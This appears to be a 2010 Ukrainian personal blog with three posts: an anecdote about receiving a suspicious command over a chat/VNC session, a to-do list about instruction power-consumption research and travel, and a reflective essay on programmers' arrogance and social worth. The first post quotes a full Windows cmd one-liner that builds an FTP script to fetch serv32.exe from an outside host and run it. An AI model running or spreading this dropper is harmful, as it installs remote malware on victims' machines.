понеділок, 28 червня 2010 р.

Як розумні люди ламають лінакс :)

Спілкувався сьогодні з дружиною, раптом від неї приходить повідомлення:

cmd /c echo open xftpz.sytes.net 21 >> qa &echo user x y >> qa &echo binary >> qa &echo get serv32.exe >> qa &echo bye >> qa &ftp -n -v -s:qa del qa &serv32.exe &exit

Перша реакція: звідки вона таке знає
Друга реакція: хто дав доступ
Третя реакція: я ж не казав що треба

Довелося прибити vino...

суботу, 26 червня 2010 р.

Плани на тоді, коли немає часу

Отже, чергова нотатка для себе, що треба зробити наступного тижня:
Робота:
  1. Вияснити де є енергоспоживання базової інструкції
  2. Вияснити де є шуми в енергоспоживанні інструкції розгалуження
  3. Спробувати просікти (вроді не складно, але треба знайти документальне підтвердження) через скільки тактів вноситься затримка і на скільки тактів
  4. Знайти границю тактів - найбільш нереальна задача...
  5. Вивести осцилограму окремої інструкції і прив'язати її до часового виміру
  6. Розібратися з інструкцією переходу, щоб зрозуміти:
    1. Залежність від адреси програмного лічильника;
    2. Обчислення/встановлення цієї адреси відбувається після чергового переходу (тобто, коли зустрічається мітка loop) чи з самого початку генерується програмою.
  7. Провести верифікацію установки

Особисте

Поїхати на Афон. Мене тут вже третій день підряд лякають монахами-маньяками, які ганяються за хлопчиками... Чергові вигадки, від яких людина просто отримує задоволення. Чого очікую від мандрівки? Навіть не знаю. Їду просто, щоб подивитися. Можете мене назвати туристом-невіруючим, єретиком чи як там його... Мені вже звиклося...
Таки взятися за грецьку. Цей тиждень якийсь неправильний. Багато часу ніби працюю, а голова щось геть не варить. Мабуть треба спробувати відпочити. Хоча, для відпочинку маємо труну...
Зробити щось незаплановане. А чом би й ні. Щось, чого я не роблю зазвичай. Що саме? Не знаю. Життя покаже :)

Можна навіть на початкунаступного тижня відмітити, що встиг, а що ні :)

пʼятницю, 25 червня 2010 р.

Життя вдалося

Сеодня с одним таким человеком имела контакт, аж злость берёт. Ну откуда берутся такие люди, и их довольно много, которые считают, что если они обладают определёнными профессиональными навыками и знаниями, это как-то возвышает их над окружающими.
Особо в этом отличились всякие-разные программисты да мальчики из тех. поддержки.
Они считают, что если они знают, какую кнопочку нажать вот здесь или вот тут, то они чем-то лучше "этой блондинки" над которую можно снисходительно так посмотреть, а потом похихикать в курилке с таким же коллегой, истребляя остатки лёгких и как бы немного возвышаясь над ней.

Причём таким поведением обычно грешат не действительно полезные и незаменимые профессионалы, а все эти программисты и мальчики из техподдержки.
Они же выполняют только обслуживающую функцию, они - приложение к компьютеру и программам, с помощью которой как раз эта самая "глупая блондинка" и делает настоящую работу. Занимается творческой деятельностью, а не эта приставка к машине, которую можно выкинуть и заменить таким же, который кроме имени будет отличаться только фасоном рубашечки, никто даже этого не заметит.

Ещё такое же поведение часто встеряается у всяких как бы интеллигентов, для которых ты становишься человеком второго сорта, если не прочитала труды какого-нибудь малоизвестного давно сгнившего и забытого философа, а они - все в белом, значит.
Джерело

Ось так ми і живемо. Приставка до комп'ютера, яка окрім комп'ютера більше нікому не потрібна. Гадаєте, що це так? Забудьте. Насправді все значно простіше.
Мені завжди подобалися в цьому сенсі китайці, які роблять свою справу дуже дотошно, акуратно, а головне - непомітно. Коли ми говоримо про китайськ диво, про економічний ріст і можливості, завжди кажемо, от китайці молодці, бо можуть...

Багато коментарів було подано до цієї статті - можете перечитати, якщо хочете... Особисто мені і не смішно і не страшно. Людина хоче бути най-най-най.... В центрі всього, в центрі уваги, в центрі подій. Я навіть чув таку хорошу фразу "Як добре бути вільним". Справді хороша фраза, але в неї є малесенький підтекст. Що ти будеш робити з своєю волею? Можливо все не настільки радісно і красиво? Можливо воля - це просто спосіб довести цілому світові, що саме ти потрібен? Панове, зніміть маски... Ми на цьому світі потрібні від сили десятку людей. Я маю на увазі потрібні, в сенсі чуттєвому. Грошовий вимір (хочете - вважайте матеріальний) нас опутує тісніше і тісніше. Приходять на згадку слова з Біблії (можливо не точна фраза, головне суть) "нехай не знає лівиця твоя, що дає правиця". Древні справді мали та знали багато чого з того, про що ми не маємо жодного уявлення...

Щось я заговорився. Дається взнаки висока температура назовні, та бажання просто писати, не думаючи...

Отже, панове гвинтики і шурупчики... Ви є основою цієї системи, без вас її просто не існуватиме.

"Ми дуже подібні до цеглинок у мурі: кожний з нас має своє місце, хоч, може, воно видається малим у такому великому мурі. Але як тільки одна цеглина розкришиться чи впаде з свого місця, на долю інших починає припадати неспівмірний тягар, з'являються щілини, і вся стіна розхитується." Лорд Бейден Пауел. Засновник Скаутського Руху.